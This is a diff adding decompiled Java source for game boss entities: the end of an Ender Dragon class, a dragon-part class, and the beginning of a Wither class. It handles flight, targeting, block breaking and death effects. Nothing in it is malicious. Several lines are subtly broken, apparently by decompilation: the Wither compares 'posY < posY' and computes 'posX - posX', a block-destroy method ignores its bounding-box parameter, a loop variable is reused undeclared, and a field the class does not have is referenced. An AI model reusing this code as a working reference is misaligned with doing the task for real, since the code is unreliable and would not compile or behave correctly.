+        moveFlying(0.0F, -1.0F, var24 * (var19 * var23 + (1.0F - var23)));
+        
+        if (slowed)
+        {
+          moveEntity(motionX * 0.800000011920929D, motionY * 0.800000011920929D, motionZ * 0.800000011920929D);
+        }
+        else
+        {
+          moveEntity(motionX, motionY, motionZ);
+        }
+        
+        Vec3 var25 = new Vec3(motionX, motionY, motionZ).normalize();
+        float var26 = ((float)var25.dotProduct(var18) + 1.0F) / 2.0F;
+        var26 = 0.8F + 0.15F * var26;
+        motionX *= var26;
+        motionZ *= var26;
+        motionY *= 0.9100000262260437D;
+      }
+      
+      renderYawOffset = rotationYaw;
+      dragonPartHead.width = (dragonPartHead.height = 3.0F);
+      dragonPartTail1.width = (dragonPartTail1.height = 2.0F);
+      dragonPartTail2.width = (dragonPartTail2.height = 2.0F);
+      dragonPartTail3.width = (dragonPartTail3.height = 2.0F);
+      dragonPartBody.height = 3.0F;
+      dragonPartBody.width = 5.0F;
+      dragonPartWing1.height = 2.0F;
+      dragonPartWing1.width = 4.0F;
+      dragonPartWing2.height = 3.0F;
+      dragonPartWing2.width = 4.0F;
+      float var2 = (float)(getMovementOffsets(5, 1.0F)[1] - getMovementOffsets(10, 1.0F)[1]) * 10.0F / 180.0F * 3.1415927F;
+      float var3 = MathHelper.cos(var2);
+      float var29 = -MathHelper.sin(var2);
+      float var5 = rotationYaw * 3.1415927F / 180.0F;
+      float var30 = MathHelper.sin(var5);
+      float var7 = MathHelper.cos(var5);
+      dragonPartBody.onUpdate();
+      dragonPartBody.setLocationAndAngles(posX + var30 * 0.5F, posY, posZ - var7 * 0.5F, 0.0F, 0.0F);
+      dragonPartWing1.onUpdate();
+      dragonPartWing1.setLocationAndAngles(posX + var7 * 4.5F, posY + 2.0D, posZ + var30 * 4.5F, 0.0F, 0.0F);
+      dragonPartWing2.onUpdate();
+      dragonPartWing2.setLocationAndAngles(posX - var7 * 4.5F, posY + 2.0D, posZ - var30 * 4.5F, 0.0F, 0.0F);
+      
+      if ((!worldObj.isRemote) && (hurtTime == 0))
+      {
+        collideWithEntities(worldObj.getEntitiesWithinAABBExcludingEntity(this, dragonPartWing1.getEntityBoundingBox().expand(4.0D, 2.0D, 4.0D).offset(0.0D, -2.0D, 0.0D)));
+        collideWithEntities(worldObj.getEntitiesWithinAABBExcludingEntity(this, dragonPartWing2.getEntityBoundingBox().expand(4.0D, 2.0D, 4.0D).offset(0.0D, -2.0D, 0.0D)));
+        attackEntitiesInList(worldObj.getEntitiesWithinAABBExcludingEntity(this, dragonPartHead.getEntityBoundingBox().expand(1.0D, 1.0D, 1.0D)));
+      }
+      
+      double[] var31 = getMovementOffsets(5, 1.0F);
+      double[] var9 = getMovementOffsets(0, 1.0F);
+      float var33 = MathHelper.sin(rotationYaw * 3.1415927F / 180.0F - randomYawVelocity * 0.01F);
+      float var35 = MathHelper.cos(rotationYaw * 3.1415927F / 180.0F - randomYawVelocity * 0.01F);
+      dragonPartHead.onUpdate();
+      dragonPartHead.setLocationAndAngles(posX + var33 * 5.5F * var3, posY + (var9[1] - var31[1]) * 1.0D + var29 * 5.5F, posZ - var35 * 5.5F * var3, 0.0F, 0.0F);
+      
+      for (int var32 = 0; var32 < 3; var32++)
+      {
+        EntityDragonPart var34 = null;
+        
+        if (var32 == 0)
+        {
+          var34 = dragonPartTail1;
+        }
+        
+        if (var32 == 1)
+        {
+          var34 = dragonPartTail2;
+        }
+        
+        if (var32 == 2)
+        {
+          var34 = dragonPartTail3;
+        }
+        
+        double[] var36 = getMovementOffsets(12 + var32 * 2, 1.0F);
+        float var37 = rotationYaw * 3.1415927F / 180.0F + simplifyAngle(var36[0] - var31[0]) * 3.1415927F / 180.0F * 1.0F;
+        float var38 = MathHelper.sin(var37);
+        float var39 = MathHelper.cos(var37);
+        float var40 = 1.5F;
+        float var41 = (var32 + 1) * 2.0F;
+        var34.onUpdate();
+        var34.setLocationAndAngles(posX - (var30 * var40 + var38 * var41) * var3, posY + (var36[1] - var31[1]) * 1.0D - (var41 + var40) * var29 + 1.5D, posZ + (var7 * var40 + var39 * var41) * var3, 0.0F, 0.0F);
+      }
+      
+      if (!worldObj.isRemote)
+      {
+        slowed = (destroyBlocksInAABB(dragonPartHead.getEntityBoundingBox()) | destroyBlocksInAABB(dragonPartBody.getEntityBoundingBox()));
+      }
+    }
+  }
+  
+
+
+
+  private void updateDragonEnderCrystal()
+  {
+    if (healingEnderCrystal != null)
+    {
+      if (healingEnderCrystal.isDead)
+      {
+        if (!worldObj.isRemote)
+        {
+          attackEntityFromPart(dragonPartHead, DamageSource.setExplosionSource(null), 10.0F);
+        }
+        
+        healingEnderCrystal = null;
+      }
+      else if ((ticksExisted % 10 == 0) && (getHealth() < getMaxHealth()))
+      {
+        setHealth(getHealth() + 1.0F);
+      }
+    }
+    
+    if (rand.nextInt(10) == 0)
+    {
+      float var1 = 32.0F;
+      List var2 = worldObj.getEntitiesWithinAABB(EntityEnderCrystal.class, getEntityBoundingBox().expand(var1, var1, var1));
+      EntityEnderCrystal var3 = null;
+      double var4 = Double.MAX_VALUE;
+      Iterator var6 = var2.iterator();
+      
+      while (var6.hasNext())
+      {
+        EntityEnderCrystal var7 = (EntityEnderCrystal)var6.next();
+        double var8 = var7.getDistanceSqToEntity(this);
+        
+        if (var8 < var4)
+        {
+          var4 = var8;
+          var3 = var7;
+        }
+      }
+      
+      healingEnderCrystal = var3;
+    }
+  }
+  
+
+
+
+  private void collideWithEntities(List p_70970_1_)
+  {
+    double var2 = (dragonPartBody.getEntityBoundingBox().minX + dragonPartBody.getEntityBoundingBox().maxX) / 2.0D;
+    double var4 = (dragonPartBody.getEntityBoundingBox().minZ + dragonPartBody.getEntityBoundingBox().maxZ) / 2.0D;
+    Iterator var6 = p_70970_1_.iterator();
+    
+    while (var6.hasNext())
+    {
+      Entity var7 = (Entity)var6.next();
+      
+      if ((var7 instanceof EntityLivingBase))
+      {
+        double var8 = posX - var2;
+        double var10 = posZ - var4;
+        double var12 = var8 * var8 + var10 * var10;
+        var7.addVelocity(var8 / var12 * 4.0D, 0.20000000298023224D, var10 / var12 * 4.0D);
+      }
+    }
+  }
+  
+
+
+
+  private void attackEntitiesInList(List p_70971_1_)
+  {
+    for (int var2 = 0; var2 < p_70971_1_.size(); var2++)
+    {
+      Entity var3 = (Entity)p_70971_1_.get(var2);
+      
+      if ((var3 instanceof EntityLivingBase))
+      {
+        var3.attackEntityFrom(DamageSource.causeMobDamage(this), 10.0F);
+        func_174815_a(this, var3);
+      }
+    }
+  }
+  
+
+
+
+  private void setNewTarget()
+  {
+    forceNewTarget = false;
+    ArrayList var1 = Lists.newArrayList(worldObj.playerEntities);
+    Iterator var2 = var1.iterator();
+    
+    while (var2.hasNext())
+    {
+      if (((EntityPlayer)var2.next()).func_175149_v())
+      {
+        var2.remove();
+      }
+    }
+    
+    if ((rand.nextInt(2) == 0) && (!var1.isEmpty()))
+    {
+      target = ((Entity)var1.get(rand.nextInt(var1.size())));
+    }
+    else
+    {
+      boolean var3;
+      
+      do
+      {
+        targetX = 0.0D;
+        targetY = (70.0F + rand.nextFloat() * 50.0F);
+        targetZ = 0.0D;
+        targetX += rand.nextFloat() * 120.0F - 60.0F;
+        targetZ += rand.nextFloat() * 120.0F - 60.0F;
+        double var4 = posX - targetX;
+        double var6 = posY - targetY;
+        double var8 = posZ - targetZ;
+        var3 = var4 * var4 + var6 * var6 + var8 * var8 > 100.0D;
+      }
+      while (!var3);
+      
+      target = null;
+    }
+  }
+  
+
+
+
+  private float simplifyAngle(double p_70973_1_)
+  {
+    return (float)MathHelper.wrapAngleTo180_double(p_70973_1_);
+  }
+  
+
+
+
+  private boolean destroyBlocksInAABB(AxisAlignedBB p_70972_1_)
+  {
+    int var2 = MathHelper.floor_double(minX);
+    int var3 = MathHelper.floor_double(minY);
+    int var4 = MathHelper.floor_double(minZ);
+    int var5 = MathHelper.floor_double(maxX);
+    int var6 = MathHelper.floor_double(maxY);
+    int var7 = MathHelper.floor_double(maxZ);
+    boolean var8 = false;
+    boolean var9 = false;
+    
+    for (int var10 = var2; var10 <= var5; var10++)
+    {
+      for (int var11 = var3; var11 <= var6; var11++)
+      {
+        for (int var12 = var4; var12 <= var7; var12++)
+        {
+          Block var13 = worldObj.getBlockState(new BlockPos(var10, var11, var12)).getBlock();
+          
+          if (var13.getMaterial() != Material.air)
+          {
+            if ((var13 != Blocks.barrier) && (var13 != Blocks.obsidian) && (var13 != Blocks.end_stone) && (var13 != Blocks.bedrock) && (var13 != Blocks.command_block) && (worldObj.getGameRules().getGameRuleBooleanValue("mobGriefing")))
+            {
+              var9 = (worldObj.setBlockToAir(new BlockPos(var10, var11, var12))) || (var9);
+            }
+            else
+            {
+              var8 = true;
+            }
+          }
+        }
+      }
+    }
+    
+    if (var9)
+    {
+      double var16 = minX + (maxX - minX) * rand.nextFloat();
+      double var17 = minY + (maxY - minY) * rand.nextFloat();
+      double var14 = minZ + (maxZ - minZ) * rand.nextFloat();
+      worldObj.spawnParticle(EnumParticleTypes.EXPLOSION_LARGE, var16, var17, var14, 0.0D, 0.0D, 0.0D, new int[0]);
+    }
+    
+    return var8;
+  }
+  
+  public boolean attackEntityFromPart(EntityDragonPart p_70965_1_, DamageSource p_70965_2_, float p_70965_3_)
+  {
+    if (p_70965_1_ != dragonPartHead)
+    {
+      p_70965_3_ = p_70965_3_ / 4.0F + 1.0F;
+    }
+    
+    float var4 = rotationYaw * 3.1415927F / 180.0F;
+    float var5 = MathHelper.sin(var4);
+    float var6 = MathHelper.cos(var4);
+    targetX = (posX + var5 * 5.0F + (rand.nextFloat() - 0.5F) * 2.0F);
+    targetY = (posY + rand.nextFloat() * 3.0F + 1.0D);
+    targetZ = (posZ - var6 * 5.0F + (rand.nextFloat() - 0.5F) * 2.0F);
+    target = null;
+    
+    if (((p_70965_2_.getEntity() instanceof EntityPlayer)) || (p_70965_2_.isExplosion()))
+    {
+      func_82195_e(p_70965_2_, p_70965_3_);
+    }
+    
+    return true;
+  }
+  
+
+
+
+  public boolean attackEntityFrom(DamageSource source, float amount)
+  {
+    if (((source instanceof EntityDamageSource)) && (((EntityDamageSource)source).func_180139_w()))
+    {
+      func_82195_e(source, amount);
+    }
+    
+    return false;
+  }
+  
+  protected boolean func_82195_e(DamageSource p_82195_1_, float p_82195_2_)
+  {
+    return super.attackEntityFrom(p_82195_1_, p_82195_2_);
+  }
+  
+  public void func_174812_G()
+  {
+    setDead();
+  }
+  
+
+
+
+  protected void onDeathUpdate()
+  {
+    deathTicks += 1;
+    
+    if ((deathTicks >= 180) && (deathTicks <= 200))
+    {
+      float var1 = (rand.nextFloat() - 0.5F) * 8.0F;
+      float var2 = (rand.nextFloat() - 0.5F) * 4.0F;
+      float var3 = (rand.nextFloat() - 0.5F) * 8.0F;
+      worldObj.spawnParticle(EnumParticleTypes.EXPLOSION_HUGE, posX + var1, posY + 2.0D + var2, posZ + var3, 0.0D, 0.0D, 0.0D, new int[0]);
+    }
+    
+
+
+
+    if (!worldObj.isRemote)
+    {
+      if ((deathTicks > 150) && (deathTicks % 5 == 0) && (worldObj.getGameRules().getGameRuleBooleanValue("doMobLoot")))
+      {
+        int var4 = 1000;
+        
+        while (var4 > 0)
+        {
+          int var5 = EntityXPOrb.getXPSplit(var4);
+          var4 -= var5;
+          worldObj.spawnEntityInWorld(new EntityXPOrb(worldObj, posX, posY, posZ, var5));
+        }
+      }
+      
+      if (deathTicks == 1)
+      {
+        worldObj.func_175669_a(1018, new BlockPos(this), 0);
+      }
+    }
+    
+    moveEntity(0.0D, 0.10000000149011612D, 0.0D);
+    renderYawOffset = (this.rotationYaw += 20.0F);
+    
+    if ((deathTicks == 200) && (!worldObj.isRemote))
+    {
+      int var4 = 2000;
+      
+      while (var4 > 0)
+      {
+        int var5 = EntityXPOrb.getXPSplit(var4);
+        var4 -= var5;
+        worldObj.spawnEntityInWorld(new EntityXPOrb(worldObj, posX, posY, posZ, var5));
+      }
+      
+      func_175499_a(new BlockPos(posX, 64.0D, posZ));
+      setDead();
+    }
+  }
+  
+  private void func_175499_a(BlockPos p_175499_1_)
+  {
+    boolean var2 = true;
+    double var3 = 12.25D;
+    double var5 = 6.25D;
+    
+    for (int var7 = -1; var7 <= 32; var7++)
+    {
+      for (int var8 = -4; var8 <= 4; var8++)
+      {
+        for (int var9 = -4; var9 <= 4; var9++)
+        {
+          double var10 = var8 * var8 + var9 * var9;
+          
+          if (var10 <= 12.25D)
+          {
+            BlockPos var12 = p_175499_1_.add(var8, var7, var9);
+            
+            if (var7 < 0)
+            {
+              if (var10 <= 6.25D)
+              {
+                worldObj.setBlockState(var12, Blocks.bedrock.getDefaultState());
+              }
+            }
+            else if (var7 > 0)
+            {
+              worldObj.setBlockState(var12, Blocks.air.getDefaultState());
+            }
+            else if (var10 > 6.25D)
+            {
+              worldObj.setBlockState(var12, Blocks.bedrock.getDefaultState());
+            }
+            else
+            {
+              worldObj.setBlockState(var12, Blocks.end_portal.getDefaultState());
+            }
+          }
+        }
+      }
+    }
+    
+    worldObj.setBlockState(p_175499_1_, Blocks.bedrock.getDefaultState());
+    worldObj.setBlockState(p_175499_1_.offsetUp(), Blocks.bedrock.getDefaultState());
+    BlockPos var13 = p_175499_1_.offsetUp(2);
+    worldObj.setBlockState(var13, Blocks.bedrock.getDefaultState());
+    worldObj.setBlockState(var13.offsetWest(), Blocks.torch.getDefaultState().withProperty(BlockTorch.FACING_PROP, EnumFacing.EAST));
+    worldObj.setBlockState(var13.offsetEast(), Blocks.torch.getDefaultState().withProperty(BlockTorch.FACING_PROP, EnumFacing.WEST));
+    worldObj.setBlockState(var13.offsetNorth(), Blocks.torch.getDefaultState().withProperty(BlockTorch.FACING_PROP, EnumFacing.SOUTH));
+    worldObj.setBlockState(var13.offsetSouth(), Blocks.torch.getDefaultState().withProperty(BlockTorch.FACING_PROP, EnumFacing.NORTH));
+    worldObj.setBlockState(p_175499_1_.offsetUp(3), Blocks.bedrock.getDefaultState());
+    worldObj.setBlockState(p_175499_1_.offsetUp(4), Blocks.dragon_egg.getDefaultState());
+  }
+  
+
+
+
+  protected void despawnEntity() {}
+  
+
+
+
+  public Entity[] getParts()
+  {
+    return dragonPartArray;
+  }
+  
+
+
+
+  public boolean canBeCollidedWith()
+  {
+    return false;
+  }
+  
+  public World func_82194_d()
+  {
+    return worldObj;
+  }
+  
+
+
+
+  protected String getLivingSound()
+  {
+    return "mob.enderdragon.growl";
+  }
+  
+
+
+
+  protected String getHurtSound()
+  {
+    return "mob.enderdragon.hit";
+  }
+  
+
+
+
+  protected float getSoundVolume()
+  {
+    return 5.0F;
+  }
+}
diff --git a/src/minecraft/net/minecraft/entity/boss/EntityDragonPart.java b/src/minecraft/net/minecraft/entity/boss/EntityDragonPart.java
new file mode 100644
index 0000000..de6e841
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/boss/EntityDragonPart.java
@@ -0,0 +1,58 @@
+package net.minecraft.entity.boss;
+
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.IEntityMultiPart;
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.util.DamageSource;
+
+public class EntityDragonPart
+  extends Entity
+{
+  public final IEntityMultiPart entityDragonObj;
+  public final String field_146032_b;
+  private static final String __OBFID = "CL_00001657";
+  
+  public EntityDragonPart(IEntityMultiPart p_i1697_1_, String p_i1697_2_, float p_i1697_3_, float p_i1697_4_)
+  {
+    super(p_i1697_1_.func_82194_d());
+    setSize(p_i1697_3_, p_i1697_4_);
+    entityDragonObj = p_i1697_1_;
+    field_146032_b = p_i1697_2_;
+  }
+  
+
+
+
+  protected void entityInit() {}
+  
+
+
+  protected void readEntityFromNBT(NBTTagCompound tagCompund) {}
+  
+
+
+  protected void writeEntityToNBT(NBTTagCompound tagCompound) {}
+  
+
+
+  public boolean canBeCollidedWith()
+  {
+    return true;
+  }
+  
+
+
+
+  public boolean attackEntityFrom(DamageSource source, float amount)
+  {
+    return func_180431_b(source) ? false : entityDragonObj.attackEntityFromPart(this, source, amount);
+  }
+  
+
+
+
+  public boolean isEntityEqual(Entity entityIn)
+  {
+    return (this == entityIn) || (entityDragonObj == entityIn);
+  }
+}
diff --git a/src/minecraft/net/minecraft/entity/boss/EntityWither.java b/src/minecraft/net/minecraft/entity/boss/EntityWither.java
new file mode 100644
index 0000000..0d010ca
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/boss/EntityWither.java
@@ -0,0 +1,668 @@
+package net.minecraft.entity.boss;
+
+import com.google.common.base.Predicate;
+import com.google.common.base.Predicates;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Random;
+import net.minecraft.block.Block;
+import net.minecraft.block.material.Material;
+import net.minecraft.command.IEntitySelector;
+import net.minecraft.entity.DataWatcher;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.EntityLiving;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.entity.EnumCreatureAttribute;
+import net.minecraft.entity.IRangedAttackMob;
+import net.minecraft.entity.SharedMonsterAttributes;
+import net.minecraft.entity.ai.EntityAIArrowAttack;
+import net.minecraft.entity.ai.EntityAINearestAttackableTarget;
+import net.minecraft.entity.ai.EntityAITasks;
+import net.minecraft.entity.ai.EntityAIWatchClosest;
+import net.minecraft.entity.ai.attributes.IAttributeInstance;
+import net.minecraft.entity.item.EntityItem;
+import net.minecraft.entity.monster.EntityMob;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.entity.projectile.EntityArrow;
+import net.minecraft.entity.projectile.EntityWitherSkull;
+import net.minecraft.init.Blocks;
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.pathfinding.PathNavigateGround;
+import net.minecraft.potion.PotionEffect;
+import net.minecraft.util.AxisAlignedBB;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.DamageSource;
+import net.minecraft.util.EnumParticleTypes;
+import net.minecraft.util.MathHelper;
+import net.minecraft.world.EnumDifficulty;
+import net.minecraft.world.GameRules;
+import net.minecraft.world.World;
+
+public class EntityWither extends EntityMob implements IBossDisplayData, IRangedAttackMob
+{
+  private float[] field_82220_d = new float[2];
+  private float[] field_82221_e = new float[2];
+  private float[] field_82217_f = new float[2];
+  private float[] field_82218_g = new float[2];
+  private int[] field_82223_h = new int[2];
+  private int[] field_82224_i = new int[2];
+  
+  private int field_82222_j;
+  
+  private static final Predicate attackEntitySelector = new Predicate()
+  {
+    private static final String __OBFID = "CL_00001662";
+    
+    public boolean func_180027_a(Entity p_180027_1_) {
+      return ((p_180027_1_ instanceof EntityLivingBase)) && (((EntityLivingBase)p_180027_1_).getCreatureAttribute() != EnumCreatureAttribute.UNDEAD);
+    }
+    
+    public boolean apply(Object p_apply_1_) {
+      return func_180027_a((Entity)p_apply_1_);
+    }
+  };
+  private static final String __OBFID = "CL_00001661";
+  
+  public EntityWither(World worldIn)
+  {
+    super(worldIn);
+    setHealth(getMaxHealth());
+    setSize(0.9F, 3.5F);
+    isImmuneToFire = true;
+    ((PathNavigateGround)getNavigator()).func_179693_d(true);
+    tasks.addTask(0, new net.minecraft.entity.ai.EntityAISwimming(this));
+    tasks.addTask(2, new EntityAIArrowAttack(this, 1.0D, 40, 20.0F));
+    tasks.addTask(5, new net.minecraft.entity.ai.EntityAIWander(this, 1.0D));
+    tasks.addTask(6, new EntityAIWatchClosest(this, EntityPlayer.class, 8.0F));
+    tasks.addTask(7, new net.minecraft.entity.ai.EntityAILookIdle(this));
+    targetTasks.addTask(1, new net.minecraft.entity.ai.EntityAIHurtByTarget(this, false, new Class[0]));
+    targetTasks.addTask(2, new EntityAINearestAttackableTarget(this, EntityLiving.class, 0, false, false, attackEntitySelector));
+    experienceValue = 50;
+  }
+  
+  protected void entityInit()
+  {
+    super.entityInit();
+    dataWatcher.addObject(17, new Integer(0));
+    dataWatcher.addObject(18, new Integer(0));
+    dataWatcher.addObject(19, new Integer(0));
+    dataWatcher.addObject(20, new Integer(0));
+  }
+  
+
+
+
+  public void writeEntityToNBT(NBTTagCompound tagCompound)
+  {
+    super.writeEntityToNBT(tagCompound);
+    tagCompound.setInteger("Invul", getInvulTime());
+  }
+  
+
+
+
+  public void readEntityFromNBT(NBTTagCompound tagCompund)
+  {
+    super.readEntityFromNBT(tagCompund);
+    setInvulTime(tagCompund.getInteger("Invul"));
+  }
+  
+
+
+
+  protected String getLivingSound()
+  {
+    return "mob.wither.idle";
+  }
+  
+
+
+
+  protected String getHurtSound()
+  {
+    return "mob.wither.hurt";
+  }
+  
+
+
+
+  protected String getDeathSound()
+  {
+    return "mob.wither.death";
+  }
+  
+
+
+
+
+  public void onLivingUpdate()
+  {
+    motionY *= 0.6000000238418579D;
+    
+
+
+
+    if ((!worldObj.isRemote) && (getWatchedTargetId(0) > 0))
+    {
+      Entity var1 = worldObj.getEntityByID(getWatchedTargetId(0));
+      
+      if (var1 != null)
+      {
+        if ((posY < posY) || ((!isArmored()) && (posY < posY + 5.0D)))
+        {
+          if (motionY < 0.0D)
+          {
+            motionY = 0.0D;
+          }
+          
+          motionY += (0.5D - motionY) * 0.6000000238418579D;
+        }
+        
+        double var2 = posX - posX;
+        double var4 = posZ - posZ;
+        double var6 = var2 * var2 + var4 * var4;
+        
+        if (var6 > 9.0D)
+        {
+          double var8 = MathHelper.sqrt_double(var6);
+          motionX += (var2 / var8 * 0.5D - motionX) * 0.6000000238418579D;
+          motionZ += (var4 / var8 * 0.5D - motionZ) * 0.6000000238418579D;
+        }
+      }
+    }
+    
+    if (motionX * motionX + motionZ * motionZ > 0.05000000074505806D)
+    {
+      rotationYaw = ((float)Math.atan2(motionZ, motionX) * 57.295776F - 90.0F);
+    }
+    
+    super.onLivingUpdate();
+    
+
+    for (int var20 = 0; var20 < 2; var20++)
+    {
+      field_82218_g[var20] = field_82221_e[var20];
+      field_82217_f[var20] = field_82220_d[var20];
+    }
+    
+
+
+    for (var20 = 0; var20 < 2; var20++)
+    {
+      int var22 = getWatchedTargetId(var20 + 1);
+      Entity var3 = null;
+      
+      if (var22 > 0)
+      {
+        var3 = worldObj.getEntityByID(var22);
+      }
+      
+      if (var3 != null)
+      {
+        double var4 = func_82214_u(var20 + 1);
+        double var6 = func_82208_v(var20 + 1);
+        double var8 = func_82213_w(var20 + 1);
+        double var10 = posX - var4;
+        double var12 = posY + var3.getEyeHeight() - var6;
+        double var14 = posZ - var8;
+        double var16 = MathHelper.sqrt_double(var10 * var10 + var14 * var14);
+        float var18 = (float)(Math.atan2(var14, var10) * 180.0D / 3.141592653589793D) - 90.0F;
+        float var19 = (float)-(Math.atan2(var12, var16) * 180.0D / 3.141592653589793D);
+        field_82220_d[var20] = func_82204_b(field_82220_d[var20], var19, 40.0F);
+        field_82221_e[var20] = func_82204_b(field_82221_e[var20], var18, 10.0F);
+      }
+      else
+      {
+        field_82221_e[var20] = func_82204_b(field_82221_e[var20], renderYawOffset, 10.0F);
+      }
+    }
+    
+    boolean var21 = isArmored();
+    
+    for (int var22 = 0; var22 < 3; var22++)
+    {
+      double var23 = func_82214_u(var22);
+      double var5 = func_82208_v(var22);
+      double var7 = func_82213_w(var22);
+      worldObj.spawnParticle(EnumParticleTypes.SMOKE_NORMAL, var23 + rand.nextGaussian() * 0.30000001192092896D, var5 + rand.nextGaussian() * 0.30000001192092896D, var7 + rand.nextGaussian() * 0.30000001192092896D, 0.0D, 0.0D, 0.0D, new int[0]);
+      
+      if ((var21) && (worldObj.rand.nextInt(4) == 0))
+      {
+        worldObj.spawnParticle(EnumParticleTypes.SPELL_MOB, var23 + rand.nextGaussian() * 0.30000001192092896D, var5 + rand.nextGaussian() * 0.30000001192092896D, var7 + rand.nextGaussian() * 0.30000001192092896D, 0.699999988079071D, 0.699999988079071D, 0.5D, new int[0]);
+      }
+    }
+    
+    if (getInvulTime() > 0)
+    {
+      for (var22 = 0; var22 < 3; var22++)
+      {
+        worldObj.spawnParticle(EnumParticleTypes.SPELL_MOB, posX + rand.nextGaussian() * 1.0D, posY + rand.nextFloat() * 3.3F, posZ + rand.nextGaussian() * 1.0D, 0.699999988079071D, 0.699999988079071D, 0.8999999761581421D, new int[0]);
+      }
+    }
+  }
+  
+
+
+  protected void updateAITasks()
+  {
+    if (getInvulTime() > 0)
+    {
+      int var1 = getInvulTime() - 1;
+      
+      if (var1 <= 0)
+      {
+        worldObj.newExplosion(this, posX, posY + getEyeHeight(), posZ, 7.0F, false, worldObj.getGameRules().getGameRuleBooleanValue("mobGriefing"));
+        worldObj.func_175669_a(1013, new BlockPos(this), 0);
+      }
+      
+      setInvulTime(var1);
+      
+      if (ticksExisted % 10 == 0)
+      {
+        heal(10.0F);
+      }
+    }
+    else
+    {
+      super.updateAITasks();
+      
+
+      for (int var1 = 1; var1 < 3; var1++)
+      {
+        if (ticksExisted >= field_82223_h[(var1 - 1)])
+        {
+          field_82223_h[(var1 - 1)] = (ticksExisted + 10 + rand.nextInt(10));
+          
+          if ((worldObj.getDifficulty() == EnumDifficulty.NORMAL) || (worldObj.getDifficulty() == EnumDifficulty.HARD))
+          {
+            int var10001 = var1 - 1;
+            int var10003 = field_82224_i[(var1 - 1)];
+            field_82224_i[var10001] = (field_82224_i[(var1 - 1)] + 1);
+            
+            if (var10003 > 15)
+            {
+              float var2 = 10.0F;
+              float var3 = 5.0F;
+              double var4 = MathHelper.getRandomDoubleInRange(rand, posX - var2, posX + var2);
+              double var6 = MathHelper.getRandomDoubleInRange(rand, posY - var3, posY + var3);
+              double var8 = MathHelper.getRandomDoubleInRange(rand, posZ - var2, posZ + var2);
+              launchWitherSkullToCoords(var1 + 1, var4, var6, var8, true);
+              field_82224_i[(var1 - 1)] = 0;
+            }
+          }
+          
+          int var12 = getWatchedTargetId(var1);
+          
+          if (var12 > 0)
+          {
+            Entity var14 = worldObj.getEntityByID(var12);
+            
+            if ((var14 != null) && (var14.isEntityAlive()) && (getDistanceSqToEntity(var14) <= 900.0D) && (canEntityBeSeen(var14)))
+            {
+              launchWitherSkullToEntity(var1 + 1, (EntityLivingBase)var14);
+              field_82223_h[(var1 - 1)] = (ticksExisted + 40 + rand.nextInt(20));
+              field_82224_i[(var1 - 1)] = 0;
+            }
+            else
+            {
+              func_82211_c(var1, 0);
+            }
+          }
+          else
+          {
+            List var13 = worldObj.func_175647_a(EntityLivingBase.class, getEntityBoundingBox().expand(20.0D, 8.0D, 20.0D), Predicates.and(attackEntitySelector, IEntitySelector.field_180132_d));
+            
+            for (int var16 = 0; (var16 < 10) && (!var13.isEmpty()); var16++)
+            {
+              EntityLivingBase var5 = (EntityLivingBase)var13.get(rand.nextInt(var13.size()));
+              
+              if ((var5 != this) && (var5.isEntityAlive()) && (canEntityBeSeen(var5)))
+              {
+                if ((var5 instanceof EntityPlayer))
+                {
+                  if (capabilities.disableDamage)
+                    break;
+                  func_82211_c(var1, var5.getEntityId());
+                  
+                  break;
+                }
+                
+                func_82211_c(var1, var5.getEntityId());
+                
+
+                break;
+              }
+              
+              var13.remove(var5);
+            }
+          }
+        }
+      }
+      
+      if (getAttackTarget() != null)
+      {
+        func_82211_c(0, getAttackTarget().getEntityId());
+      }
+      else
+      {
+        func_82211_c(0, 0);
+      }
+      
+      if (field_82222_j > 0)
+      {
+        field_82222_j -= 1;
+        
+        if ((field_82222_j == 0) && (worldObj.getGameRules().getGameRuleBooleanValue("mobGriefing")))
+        {
+          var1 = MathHelper.floor_double(posY);
+          int var12 = MathHelper.floor_double(posX);
+          int var15 = MathHelper.floor_double(posZ);
+          boolean var17 = false;
+          
+          for (int var18 = -1; var18 <= 1; var18++)
+          {
+            for (int var19 = -1; var19 <= 1; var19++)
+            {
+              for (int var7 = 0; var7 <= 3; var7++)
+              {
+                int var20 = var12 + var18;
+                int var9 = var1 + var7;
+                int var10 = var15 + var19;
+                Block var11 = worldObj.getBlockState(new BlockPos(var20, var9, var10)).getBlock();
+                
+                if ((var11.getMaterial() != Material.air) && (var11 != Blocks.bedrock) && (var11 != Blocks.end_portal) && (var11 != Blocks.end_portal_frame) && (var11 != Blocks.command_block) && (var11 != Blocks.barrier))
+                {
+                  var17 = (worldObj.destroyBlock(new BlockPos(var20, var9, var10), true)) || (var17);
+                }
+              }
+            }
+          }
+          
+          if (var17)
+          {
+            worldObj.playAuxSFXAtEntity(null, 1012, new BlockPos(this), 0);
+          }
+        }
+      }
+      
+      if (ticksExisted % 20 == 0)
+      {
+        heal(1.0F);
+      }
+    }
+  }
+  
+  public void func_82206_m()
+  {
+    setInvulTime(220);
+    setHealth(getMaxHealth() / 3.0F);
+  }
+  
+
+
+
+  public void setInWeb() {}
+  
+
+
+
+  public int getTotalArmorValue()
+  {
+    return 4;
+  }
+  
+  private double func_82214_u(int p_82214_1_)
+  {
+    if (p_82214_1_ <= 0)
+    {
+      return posX;
+    }
+    
+
+    float var2 = (renderYawOffset + 180 * (p_82214_1_ - 1)) / 180.0F * 3.1415927F;
+    float var3 = MathHelper.cos(var2);
+    return posX + var3 * 1.3D;
+  }
+  
+
+  private double func_82208_v(int p_82208_1_)
+  {
+    return p_82208_1_ <= 0 ? posY + 3.0D : posY + 2.2D;
+  }
+  
+  private double func_82213_w(int p_82213_1_)
+  {
+    if (p_82213_1_ <= 0)
+    {
+      return posZ;
+    }
+    
+
+    float var2 = (renderYawOffset + 180 * (p_82213_1_ - 1)) / 180.0F * 3.1415927F;
+    float var3 = MathHelper.sin(var2);
+    return posZ + var3 * 1.3D;
+  }
+  
+
+  private float func_82204_b(float p_82204_1_, float p_82204_2_, float p_82204_3_)
+  {
+    float var4 = MathHelper.wrapAngleTo180_float(p_82204_2_ - p_82204_1_);
+    
+    if (var4 > p_82204_3_)
+    {
+      var4 = p_82204_3_;
+    }
+    
+    if (var4 < -p_82204_3_)
+    {
